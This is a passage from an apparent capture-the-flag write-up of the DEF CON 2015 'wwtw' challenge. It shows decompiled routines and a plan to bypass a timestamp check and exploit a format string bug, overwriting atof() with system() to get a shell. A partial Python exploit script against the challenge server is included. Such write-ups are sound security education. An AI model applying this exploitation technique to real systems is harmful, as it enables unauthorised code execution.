</span><span class='line'>  <span class="n">printf</span><span class="p">(</span><span class="s">&quot;Selection: &quot;</span><span class="p">);</span>
</span><span class='line'>  <span class="k">return</span> <span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p>However, in order to display the option, we need to make the variable &ldquo;unk_50AC&rdquo; true. This happens in the routine sub_1205:</p>

<figure class='code'><figcaption><span>snippet from routine sub_1205</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="k">if</span> <span class="p">(</span> <span class="n">LOBYTE</span><span class="p">(</span><span class="n">dword_50B0</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">==</span> <span class="mi">49</span> <span class="p">)</span>        <span class="c1">// 1</span>
</span><span class='line'><span class="p">{</span>
</span><span class='line'>    <span class="n">LOBYTE</span><span class="p">(</span><span class="n">v4</span><span class="p">)</span> <span class="o">=</span> <span class="n">sub_E08</span><span class="p">();</span>
</span><span class='line'>    <span class="k">if</span> <span class="p">(</span> <span class="n">v4</span> <span class="p">)</span>
</span><span class='line'>    <span class="p">{</span>
</span><span class='line'>        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;The TARDIS console is online!&quot;</span><span class="p">);</span>
</span><span class='line'>        <span class="n">unk_50AC</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span><span class='line'>        <span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'>    <span class="k">else</span>
</span><span class='line'>    <span class="p">{</span>
</span><span class='line'>        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;Access denied except between %s and %s</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v7</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v8</span><span class="p">);</span>
</span><span class='line'>        <span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p>When we select the first option (&ldquo;Turn on the console&rdquo;), routine sub_E08 gets called and a comparison is made based on two timestamps:</p>

<figure class='code'><figcaption><span>routine sub_E08</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="n">BOOL</span> <span class="nf">sub_E08</span><span class="p">()</span>
</span><span class='line'><span class="p">{</span>
</span><span class='line'>  <span class="k">return</span> <span class="n">dword_50A4</span> <span class="o">&gt;</span> <span class="mi">1431907180</span> <span class="o">&amp;&amp;</span> <span class="n">dword_50A4</span> <span class="o">&lt;=</span> <span class="mi">1431907199</span><span class="p">;</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p>If the variable dword_50A4 does not fit between the two values, then &ldquo;Access denied except between May 17 2015 23:59:40 GMT and May 18 2015 00:00:00 GMT&rdquo; is displayed. If it fits, then we can choose the third option (&ldquo;Dematerialize&rdquo;), and routine sub_1027 gets called:</p>

<figure class='code'><figcaption><span>snippet from routine sub_1205</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="k">if</span> <span class="p">(</span> <span class="n">LOBYTE</span><span class="p">(</span><span class="n">dword_50B0</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">==</span> <span class="mi">51</span> <span class="p">)</span>      <span class="c1">// 3</span>
</span><span class='line'><span class="p">{</span>
</span><span class='line'>    <span class="k">if</span> <span class="p">(</span> <span class="n">unk_50AC</span> <span class="p">)</span>
</span><span class='line'>    <span class="p">{</span>
</span><span class='line'>        <span class="n">sub_1027</span><span class="p">();</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'>    <span class="k">else</span>
</span><span class='line'>    <span class="p">{</span>
</span><span class='line'>        <span class="n">puts</span><span class="p">(</span><span class="s">&quot;Invalid&quot;</span><span class="p">);</span>
</span><span class='line'>        <span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>




<figure class='code'><figcaption><span>snippet from routine sub_1027</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="kt">int</span> <span class="nf">sub_1027</span><span class="p">()</span>
</span><span class='line'><span class="p">{</span>
</span><span class='line'>    <span class="p">...</span>
</span><span class='line'>    <span class="k">while</span> <span class="p">(</span> <span class="mi">1</span> <span class="p">)</span>
</span><span class='line'>    <span class="p">{</span>
</span><span class='line'>        <span class="p">...</span>
</span><span class='line'>        <span class="n">v0</span> <span class="o">=</span> <span class="n">atof</span><span class="p">(</span><span class="o">&amp;</span><span class="n">s</span><span class="p">);</span>
</span><span class='line'>        <span class="n">v3</span> <span class="o">=</span> <span class="n">atof</span><span class="p">(</span><span class="n">nptr</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
</span><span class='line'>        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;%f, %f</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span> <span class="n">v0</span><span class="p">,</span> <span class="n">v3</span><span class="p">);</span>
</span><span class='line'>        <span class="k">if</span> <span class="p">(</span> <span class="mf">51.492137</span> <span class="o">!=</span> <span class="n">v0</span> <span class="o">||</span> <span class="o">-</span><span class="mf">0.192878</span> <span class="o">!=</span> <span class="n">v3</span> <span class="p">)</span>
</span><span class='line'>            <span class="k">break</span><span class="p">;</span>
</span><span class='line'>        <span class="n">printf</span><span class="p">(</span><span class="s">&quot;Coordinate &quot;</span><span class="p">);</span>
</span><span class='line'>        <span class="n">printf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">s</span><span class="p">);</span>
</span><span class='line'>        <span class="p">...</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'>    <span class="n">printf</span><span class="p">(</span><span class="s">&quot;You safely travel to coordinates %s</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">s</span><span class="p">);</span>
</span><span class='line'>    <span class="p">...</span>
</span><span class='line'>    <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p>Does &ldquo;printf(&amp;s)&rdquo; look suspicious? It could be an <a href="http://en.wikipedia.org/wiki/Uncontrolled_format_string">uncontrolled format string</a>! Since the buffer itself can be accessed (with enough &ldquo;%x&rdquo;, for example), we can pretty much do arbitrary read and write in the memory. But what should we write and where should we write to?  It turns outs we do not need to look far: since &ldquo;&amp;s&rdquo; is passed as a parameter to atof() function, we can replace the address of atof() with the address of system() in relocation table. Then we can execute any commands we want (e.g. sh). The address of atof() can be accessed from the function&rsquo;s relocation table entry at run time, so we can exploit the format string vulnerabiliry to overwrite it.</p>

<p>Now there is only one thing left: how do we defeat the timestamp check in the routine sub_E08 above? If we look at the routine sub_BCB, the variable dword_50A4 (which is used for timestamp comparison) can be controlled if we can controlled dword_50B0.</p>

<figure class='code'><figcaption><span>snippet from routine sub_BCB</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="kt">size_t</span> <span class="nf">sub_BCB</span><span class="p">()</span>
</span><span class='line'><span class="p">{</span>
</span><span class='line'>    <span class="p">...</span>
</span><span class='line'>    <span class="n">v3</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="n">dword_50B0</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">buf</span><span class="p">,</span> <span class="mi">4u</span><span class="p">);</span>
</span><span class='line'>    <span class="k">if</span> <span class="p">(</span> <span class="n">v3</span> <span class="o">==</span> <span class="mi">4</span> <span class="p">)</span>
</span><span class='line'>        <span class="n">dword_50A4</span> <span class="o">=</span> <span class="n">buf</span><span class="p">;</span>
</span><span class='line'>    <span class="p">...</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p>Luckily, in routine sub_1205, we can read up to 9 bytes into the location pointed to by dword_50B0, which gives us the control of one byte in dword_50B0[2]:</p>

<figure class='code'><figcaption><span>snippet from routine sub_1205</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="k">if</span> <span class="p">(</span> <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">dword_50B0</span><span class="p">,</span> <span class="mi">9u</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">0</span> <span class="p">)</span>
</span><span class='line'>        <span class="k">break</span><span class="p">;</span>
</span></code></pre></td></tr></table></div></figure>


<p>In other words, when we are asked to selected an option, if our input is something like &ldquo;1aaaaaaa\x00&rdquo;(9 bytes in total, and the last byte is 0x00), then we will be able to read four bytes from standard input into the location pointed to by &ldquo;buf&rdquo;, and those four bytes will be treated as an integer and assigned to dword_50A4, which is used for the timestamp check.</p>

<p>In summary, in order to get the flag, we need to perform the following steps:</p>

<ul>
<li>win the game five times</li>
<li>input correct &ldquo;TARDIS KEY&rdquo;</li>
<li>input &ldquo;1aaaaaaa\x00&rdquo;(or something similar) to set the array dword_50B0</li>
<li>input four bytes to set the variable dword_50A4 so that it is something between 1431907180 and 1431907199 when treated as an integer</li>
<li>select the option &ldquo;Dematerialize&rdquo;, and use the format string vulnerability to reveal the address of system()</li>
<li>overwrite the address of atof() with the address of system() in relocation table by using the format string vulnerability</li>
<li>when asked to input coordinates again, we can open a shell by inputing &ldquo;,sh&rdquo;</li>
</ul>


<p>For playing the game, I use a very simple algorithm: going vertically first to get into the same row as the target, then going horizontally (or going horizontally first then going vertically). This does not succeed every time, but it has a good chance to go through five times in a row (We can play multiple times, right?). The &ldquo;TARDIS KEY&rdquo; comes directly from the binary, so it is fixed every time. We can get this byte by byte from gdb, and it is: UeSlhCAGEp.</p>

<p>Here are the code and the result:</p>

<figure class='code'><figcaption><span> (wwtw.py)</span> <a href='http://blog.morganz.me/downloads/code/defcon2015/wwtw.py'>download</a></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
<span class='line-number'>44</span>
<span class='line-number'>45</span>
<span class='line-number'>46</span>
<span class='line-number'>47</span>
<span class='line-number'>48</span>
<span class='line-number'>49</span>
<span class='line-number'>50</span>
<span class='line-number'>51</span>
<span class='line-number'>52</span>
<span class='line-number'>53</span>
<span class='line-number'>54</span>
<span class='line-number'>55</span>
<span class='line-number'>56</span>
<span class='line-number'>57</span>
<span class='line-number'>58</span>
<span class='line-number'>59</span>
<span class='line-number'>60</span>
<span class='line-number'>61</span>
<span class='line-number'>62</span>
<span class='line-number'>63</span>
<span class='line-number'>64</span>
<span class='line-number'>65</span>
<span class='line-number'>66</span>
<span class='line-number'>67</span>
<span class='line-number'>68</span>
<span class='line-number'>69</span>
<span class='line-number'>70</span>
<span class='line-number'>71</span>
<span class='line-number'>72</span>
<span class='line-number'>73</span>
<span class='line-number'>74</span>
<span class='line-number'>75</span>
<span class='line-number'>76</span>
<span class='line-number'>77</span>
<span class='line-number'>78</span>
<span class='line-number'>79</span>
<span class='line-number'>80</span>
<span class='line-number'>81</span>
<span class='line-number'>82</span>
<span class='line-number'>83</span>
<span class='line-number'>84</span>
<span class='line-number'>85</span>
<span class='line-number'>86</span>
<span class='line-number'>87</span>
<span class='line-number'>88</span>
<span class='line-number'>89</span>
<span class='line-number'>90</span>
<span class='line-number'>91</span>
<span class='line-number'>92</span>
<span class='line-number'>93</span>
<span class='line-number'>94</span>
<span class='line-number'>95</span>
<span class='line-number'>96</span>
<span class='line-number'>97</span>
<span class='line-number'>98</span>
<span class='line-number'>99</span>
<span class='line-number'>100</span>
<span class='line-number'>101</span>
<span class='line-number'>102</span>
<span class='line-number'>103</span>
<span class='line-number'>104</span>
<span class='line-number'>105</span>
<span class='line-number'>106</span>
<span class='line-number'>107</span>
<span class='line-number'>108</span>
<span class='line-number'>109</span>
<span class='line-number'>110</span>
<span class='line-number'>111</span>
<span class='line-number'>112</span>
<span class='line-number'>113</span>
<span class='line-number'>114</span>
<span class='line-number'>115</span>
<span class='line-number'>116</span>
<span class='line-number'>117</span>
<span class='line-number'>118</span>
<span class='line-number'>119</span>
<span class='line-number'>120</span>
<span class='line-number'>121</span>
<span class='line-number'>122</span>
<span class='line-number'>123</span>
<span class='line-number'>124</span>
<span class='line-number'>125</span>
<span class='line-number'>126</span>
<span class='line-number'>127</span>
<span class='line-number'>128</span>
<span class='line-number'>129</span>
<span class='line-number'>130</span>
<span class='line-number'>131</span>
<span class='line-number'>132</span>
<span class='line-number'>133</span>
<span class='line-number'>134</span>
<span class='line-number'>135</span>
<span class='line-number'>136</span>
</pre></td><td class='code'><pre><code class='py'><span class='line'><span class="kn">import</span> <span class="nn">zio</span>
</span><span class='line'><span class="kn">import</span> <span class="nn">time</span>
</span><span class='line'><span class="kn">import</span> <span class="nn">struct</span>
</span><span class='line'>
</span><span class='line'><span class="k">def</span> <span class="nf">parse</span><span class="p">(</span><span class="n">io</span><span class="p">):</span>
</span><span class='line'>    <span class="sd">&#39;&#39;&#39;</span>
</span><span class='line'><span class="sd">    return a 2d array</span>
</span><span class='line'><span class="sd">    &#39;&#39;&#39;</span>
</span><span class='line'>    <span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&quot;90</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span>
</span><span class='line'>    <span class="n">m</span> <span class="o">=</span> <span class="p">[]</span>
</span><span class='line'>    <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">20</span><span class="p">):</span>
</span><span class='line'>        <span class="n">line</span> <span class="o">=</span> <span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&quot;</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span>
</span><span class='line'>        <span class="n">m</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">line</span><span class="p">[</span><span class="mi">3</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
</span><span class='line'>    <span class="k">return</span> <span class="n">m</span>
</span><span class='line'>
</span><span class='line'><span class="k">def</span> <span class="nf">get_path</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="n">me</span><span class="p">,</span> <span class="n">ET</span><span class="p">,</span> <span class="n">p1</span><span class="p">,</span> <span class="n">p2</span><span class="p">):</span>
</span><span class='line'>    <span class="sd">&#39;&#39;&#39;</span>
</span><span class='line'><span class="sd">    compare two possible paths</span>
</span><span class='line'><span class="sd">    &#39;&#39;&#39;</span>
</span><span class='line'>    <span class="n">p1_head</span> <span class="o">=</span> <span class="bp">True</span>
</span><span class='line'>    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">min</span><span class="p">(</span><span class="n">me</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="n">ET</span><span class="p">[</span><span class="mi">1</span><span class="p">]),</span><span class="nb">max</span><span class="p">(</span><span class="n">me</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="n">ET</span><span class="p">[</span><span class="mi">1</span><span class="p">])):</span>
</span><span class='line'>        <span class="k">if</span> <span class="n">m</span><span class="p">[</span><span class="n">me</span><span class="p">[</span><span class="mi">0</span><span class="p">]][</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="s">&#39;A&#39;</span><span class="p">:</span>
</span><span class='line'>            <span class="n">p1_head</span> <span class="o">=</span> <span class="bp">False</span>
</span><span class='line'>    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">min</span><span class="p">(</span><span class="n">me</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span><span class="n">ET</span><span class="p">[</span><span class="mi">0</span><span class="p">]),</span><span class="nb">max</span><span class="p">(</span><span class="n">me</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span><span class="n">ET</span><span class="p">[</span><span class="mi">0</span><span class="p">])):</span>
</span><span class='line'>        <span class="k">if</span> <span class="n">m</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">ET</span><span class="p">[</span><span class="mi">1</span><span class="p">]]</span> <span class="o">==</span> <span class="s">&#39;A&#39;</span><span class="p">:</span>
</span><span class='line'>            <span class="n">p1_head</span> <span class="o">=</span> <span class="bp">False</span>
</span><span class='line'>    <span class="k">if</span> <span class="n">p1_head</span><span class="p">:</span>
</span><span class='line'>        <span class="k">return</span> <span class="n">p1</span><span class="o">+</span><span class="n">p2</span>
</span><span class='line'>    <span class="k">else</span><span class="p">:</span>
</span><span class='line'>        <span class="k">return</span> <span class="n">p2</span><span class="o">+</span><span class="n">p1</span>
</span><span class='line'>
</span><span class='line'><span class="k">def</span> <span class="nf">move</span><span class="p">(</span><span class="n">m</span><span class="p">):</span>
</span><span class='line'>    <span class="sd">&#39;&#39;&#39;</span>
</span><span class='line'><span class="sd">    return a string for moving</span>
</span><span class='line'><span class="sd">    &#39;&#39;&#39;</span>
</span><span class='line'>    <span class="n">ret</span> <span class="o">=</span> <span class="s">&#39;&#39;</span>
</span><span class='line'>    <span class="n">me</span> <span class="o">=</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">)</span>
</span><span class='line'>    <span class="n">ET</span> <span class="o">=</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">)</span>
</span><span class='line'>    <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">row</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">m</span><span class="p">):</span>
</span><span class='line'>        <span class="k">for</span> <span class="n">j</span><span class="p">,</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">row</span><span class="p">):</span>
</span><span class='line'>            <span class="k">if</span> <span class="n">c</span> <span class="o">==</span> <span class="s">&quot;&gt;&quot;</span> <span class="ow">or</span> <span class="n">c</span> <span class="o">==</span> <span class="s">&quot;&lt;&quot;</span> <span class="ow">or</span> <span class="n">c</span> <span class="o">==</span> <span class="s">&quot;^&quot;</span> <span class="ow">or</span> <span class="n">c</span> <span class="o">==</span> <span class="s">&#39;V&#39;</span><span class="p">:</span>
</span><span class='line'>                <span class="n">me</span> <span class="o">=</span> <span class="p">(</span><span class="n">i</span><span class="p">,</span><span class="n">j</span><span class="p">)</span>
</span><span class='line'>            <span class="k">elif</span> <span class="n">c</span> <span class="o">==</span> <span class="s">&#39;E&#39;</span> <span class="ow">or</span> <span class="n">c</span> <span class="o">==</span> <span class="s">&#39;T&#39;</span><span class="p">:</span>
</span><span class='line'>                <span class="n">ET</span> <span class="o">=</span> <span class="p">(</span><span class="n">i</span><span class="p">,</span><span class="n">j</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'>    <span class="c">#print ET,me</span>
</span><span class='line'>    <span class="n">shifty</span> <span class="o">=</span> <span class="nb">abs</span><span class="p">(</span><span class="n">ET</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">-</span><span class="n">me</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
</span><span class='line'>    <span class="n">shiftx</span> <span class="o">=</span> <span class="nb">abs</span><span class="p">(</span><span class="n">ET</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">-</span><span class="n">me</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
</span><span class='line'>    <span class="k">if</span> <span class="n">ET</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="n">me</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="ow">and</span> <span class="n">ET</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="n">me</span><span class="p">[</span><span class="mi">1</span><span class="p">]:</span>
</span><span class='line'>        <span class="n">p</span> <span class="o">=</span> <span class="n">get_path</span><span class="p">(</span><span class="n">m</span><span class="p">,</span><span class="n">me</span><span class="p">,</span><span class="n">ET</span><span class="p">,</span><span class="s">&#39;d&#39;</span><span class="o">*</span><span class="n">shiftx</span><span class="p">,</span><span class="s">&#39;s&#39;</span><span class="o">*</span><span class="n">shifty</span><span class="p">)</span>
</span><span class='line'>    <span class="k">elif</span> <span class="n">ET</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="n">me</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="ow">and</span> <span class="n">ET</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">&lt;</span> <span class="n">me</span><span class="p">[</span><span class="mi">1</span><span class="p">]:</span>
</span><span class='line'>        <span class="n">p</span> <span class="o">=</span> <span class="n">get_path</span><span class="p">(</span><span class="n">m</span><span class="p">,</span><span class="n">me</span><span class="p">,</span><span class="n">ET</span><span class="p">,</span><span class="s">&#39;a&#39;</span><span class="o">*</span><span class="n">shiftx</span><span class="p">,</span><span class="s">&#39;s&#39;</span><span class="o">*</span><span class="n">shifty</span><span class="p">)</span>
</span><span class='line'>    <span class="k">elif</span> <span class="n">ET</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&lt;=</span> <span class="n">me</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="ow">and</span> <span class="n">ET</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">&gt;=</span> <span class="n">me</span><span class="p">[</span><span class="mi">1</span><span class="p">]:</span>
</span><span class='line'>        <span class="n">p</span> <span class="o">=</span> <span class="n">get_path</span><span class="p">(</span><span class="n">m</span><span class="p">,</span><span class="n">me</span><span class="p">,</span><span class="n">ET</span><span class="p">,</span><span class="s">&#39;d&#39;</span><span class="o">*</span><span class="n">shiftx</span><span class="p">,</span><span class="s">&#39;w&#39;</span><span class="o">*</span><span class="n">shifty</span><span class="p">)</span>
</span><span class='line'>    <span class="k">else</span><span class="p">:</span>
</span><span class='line'>        <span class="n">p</span> <span class="o">=</span> <span class="n">get_path</span><span class="p">(</span><span class="n">m</span><span class="p">,</span><span class="n">me</span><span class="p">,</span><span class="n">ET</span><span class="p">,</span><span class="s">&#39;a&#39;</span><span class="o">*</span><span class="n">shiftx</span><span class="p">,</span><span class="s">&#39;w&#39;</span><span class="o">*</span><span class="n">shifty</span><span class="p">)</span>
</span><span class='line'>    <span class="k">return</span> <span class="n">p</span>
</span><span class='line'>
</span><span class='line'>
</span><span class='line'><span class="n">T</span> <span class="o">=</span> <span class="p">(</span><span class="s">&quot;wwtw_c3722e23150e1d5abbc1c248d99d718d.quals.shallweplayaga.me&quot;</span><span class="p">,</span><span class="mi">2606</span><span class="p">)</span>
</span><span class='line'><span class="c">#T = (&quot;127.0.0.1&quot;,4444)</span>
</span><span class='line'><span class="n">io</span> <span class="o">=</span> <span class="n">zio</span><span class="o">.</span><span class="n">zio</span><span class="p">(</span><span class="n">T</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&quot;blink!&quot;</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="c">#play the game</span>
</span><span class='line'><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
</span><span class='line'>    <span class="n">m</span> <span class="o">=</span> <span class="n">parse</span><span class="p">(</span><span class="n">io</span><span class="p">)</span>
</span><span class='line'>    <span class="n">moves</span> <span class="o">=</span>  <span class="n">move</span><span class="p">(</span><span class="n">m</span><span class="p">)</span>
</span><span class='line'>    <span class="k">for</span> <span class="n">m</span> <span class="ow">in</span> <span class="n">moves</span><span class="p">:</span>
</span><span class='line'>        <span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">m</span><span class="o">+</span><span class="s">&#39;</span><span class="se">\n</span><span class="s">&#39;</span><span class="p">)</span>
</span><span class='line'>        <span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&#39;:&#39;</span><span class="p">)</span>
</span><span class='line'>    <span class="k">if</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">:</span>
</span><span class='line'>        <span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&quot;...&quot;</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="c">#TARDIS KEY</span>
</span><span class='line'><span class="n">key</span> <span class="o">=</span> <span class="s">&quot;UeSlhCAGEp&quot;</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&quot;KEY&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">key</span><span class="o">+</span><span class="s">&#39;</span><span class="se">\n</span><span class="s">&#39;</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="c">#timestamp check</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&quot;Selection:&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">&quot;1aaaaaaa</span><span class="se">\x00\n</span><span class="s">&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">&quot;v+YU</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span> <span class="c">#defeat the timestamp check</span>
</span><span class='line'><span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">&quot;1</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">&quot;1aaaaaaa</span><span class="se">\x07\n</span><span class="s">&quot;</span><span class="p">)</span> <span class="c">#set the fd back so we don&#39;t need to write something every 2s</span>
